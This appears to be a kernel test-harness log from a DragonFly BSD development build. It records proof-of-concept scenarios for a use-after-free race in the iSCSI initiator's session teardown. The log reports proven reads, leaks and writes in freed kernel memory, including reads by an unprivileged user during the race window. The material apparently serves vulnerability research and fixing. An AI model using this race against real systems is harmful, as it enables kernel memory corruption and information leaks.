=== DF-2462 baseline battery Mon Oct 19 15:30:00 UTC 2026 ===
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #4: Mon Oct 19 15:24:10 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
1
--- scenario S0 ---
debug.df2462.run: 0 -> 0
--- scenario S1 ---
debug.df2462.run: 0 -> 0
--- scenario S2 ---
debug.df2462.run: 0 -> 0
--- scenario S3 ---
debug.df2462.run: 0 -> 0
--- scenario S4 ---
debug.df2462.run: 0 -> 0
DF2462[S6] teardown parked; session OIDs still registered; run unprivileged reads now, then sysctl df2462.s6done=1
DF2462[S6] teardown completed after unprivileged reads: free_seen=1
DF2462[S0] PATH_INQ: status=0x1 max_lun=2
DF2462[S0] stats handler: 'recv=111 sent=222 flags=0x00000000 pdus-alloc=0 pdus-max=0 cws=0 cmd=0 exp=0 max=0 stat=0 itt=0'
DF2462[S0] teardown clean: free_seen=1 sessions[7]=0
DF2462[S1] teardown parked after ic_lost_target (isc_sm.c:752 returned); sessions[7]=0xfffff80118455680 still set; sp=0xfffff80118455680 alive
DF2462[S1] PATH_INQ: status=0x1 max_lun=2
DF2462[S1] teardown completed: free_seen=1
DF2462[S2] victim parked in ic_action after sessions[] lookup (isc_cam.c:211), sp=0xfffff801184f7180
DF2462[S2] teardown done: free_seen=1 reclaimed=0xfffff801184f7180 (same chunk) sessions[7]=0
DF2462[S2] *** UAF READ PROVEN: victim read sp->opt.maxluns=0x51515151 out of the FREED chunk -> cpi.max_lun=0x51515150 ***
DF2462[S3] victim parked inside isc_dump_stats before touching sp, sp=0xfffff80089700080
DF2462[S3] teardown done: free_seen=1 reclaimed=0xfffff80089700080 OIDs deregistered by sysctl_ctx_free
DF2462[S3] handler exported from FREED chunk: 'recv=111 sent=222 flags=0x50505050 pdus-alloc=0 pdus-max=0 cws=1701143909 cmd=66666666 exp=67676767 max=68686868 stat=69696969 itt=6a6a6a6a' (error=0)
DF2462[S3] *** UAF READ/LEAK PROVEN: planted attacker values (flags=0x50505050, cws/cmd/exp/max/stat/itt 0x65..-0x6a..) from the freed chunk surfaced in the sysctl output ***
DF2462[S4] victim parked in ic_action (SCSI_IO) holding sp=0xfffff80118455b00 via spriv_ptr0
DF2462[S4] reclaim snapshot: ncsnd=0x52525252 flags=0x50505050 nluns=0x0 csnd.first=0 lun0=0xbebebebe
DF2462[S4] reclaim after victim: ncsnd=0x52525253 flags=0x50505050 nluns=0x1 csnd.first=0xfffff8008f8632c0 lun0=0x0
DF2462[S4] WRITE#1: sp->stats.ncsnd incremented in freed chunk (i_nqueue_csnd)
DF2462[S4] WRITE#3: sp->csnd.tqh_first set in freed chunk (TAILQ_INSERT_TAIL)
DF2462[S4] WRITE#4: sp->target_lun[0] and sp->target_nluns written in freed chunk (dwl)
DF2462[S4] *** UAF WRITE PROVEN: verbatim CAM path WROTE into the FREED session chunk ***

--- scenario S6: unprivileged userland reads in-window ---
debug.df2462.run: 0 -> 0
S6 busy=1 (expect 1: teardown parked in-window)
[userland reads as maxx]
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)
debug.df2462.sess.7.stats: recv=111 sent=222 flags=0x00000000 pdus-alloc=1 pdus-max=1 cws=0 cmd=0 exp=0 max=0 stat=0 itt=0
debug.df2462.sess.7.targetname: iqn.2000-05.example.harness:t7
debug.df2462.sess.7.targeaddress: 10.9.8.7:3260
debug.df2462.sess.7.douio: 0
debug.df2462.s6done: 0 -> 0
DF2462[S6] teardown parked; session OIDs still registered; run unprivileged reads now, then sysctl df2462.s6done=1
DF2462[S6] teardown completed after unprivileged reads: free_seen=1
DF2462[S0] PATH_INQ: status=0x1 max_lun=2
DF2462[S0] stats handler: 'recv=111 sent=222 flags=0x00000000 pdus-alloc=0 pdus-max=0 cws=0 cmd=0 exp=0 max=0 stat=0 itt=0'
DF2462[S0] teardown clean: free_seen=1 sessions[7]=0
DF2462[S1] teardown parked after ic_lost_target (isc_sm.c:752 returned); sessions[7]=0xfffff80118455680 still set; sp=0xfffff80118455680 alive
DF2462[S1] PATH_INQ: status=0x1 max_lun=2
DF2462[S1] teardown completed: free_seen=1
DF2462[S2] victim parked in ic_action after sessions[] lookup (isc_cam.c:211), sp=0xfffff801184f7180
DF2462[S2] teardown done: free_seen=1 reclaimed=0xfffff801184f7180 (same chunk) sessions[7]=0
DF2462[S2] *** UAF READ PROVEN: victim read sp->opt.maxluns=0x51515151 out of the FREED chunk -> cpi.max_lun=0x51515150 ***
DF2462[S3] victim parked inside isc_dump_stats before touching sp, sp=0xfffff80089700080
DF2462[S3] teardown done: free_seen=1 reclaimed=0xfffff80089700080 OIDs deregistered by sysctl_ctx_free
DF2462[S3] handler exported from FREED chunk: 'recv=111 sent=222 flags=0x50505050 pdus-alloc=0 pdus-max=0 cws=1701143909 cmd=66666666 exp=67676767 max=68686868 stat=69696969 itt=6a6a6a6a' (error=0)
DF2462[S3] *** UAF READ/LEAK PROVEN: planted attacker values (flags=0x50505050, cws/cmd/exp/max/stat/itt 0x65..-0x6a..) from the freed chunk surfaced in the sysctl output ***
DF2462[S4] victim parked in ic_action (SCSI_IO) holding sp=0xfffff80118455b00 via spriv_ptr0
DF2462[S4] reclaim snapshot: ncsnd=0x52525252 flags=0x50505050 nluns=0x0 csnd.first=0 lun0=0xbebebebe
DF2462[S4] reclaim after victim: ncsnd=0x52525253 flags=0x50505050 nluns=0x1 csnd.first=0xfffff8008f8632c0 lun0=0x0
DF2462[S4] WRITE#1: sp->stats.ncsnd incremented in freed chunk (i_nqueue_csnd)
DF2462[S4] WRITE#3: sp->csnd.tqh_first set in freed chunk (TAILQ_INSERT_TAIL)
DF2462[S4] WRITE#4: sp->target_lun[0] and sp->target_nluns written in freed chunk (dwl)
DF2462[S4] *** UAF WRITE PROVEN: verbatim CAM path WROTE into the FREED session chunk ***
DF2462[S6] teardown parked; session OIDs still registered; run unprivileged reads now, then sysctl df2462.s6done=1
DF2462[S6] teardown completed after unprivileged reads: free_seen=1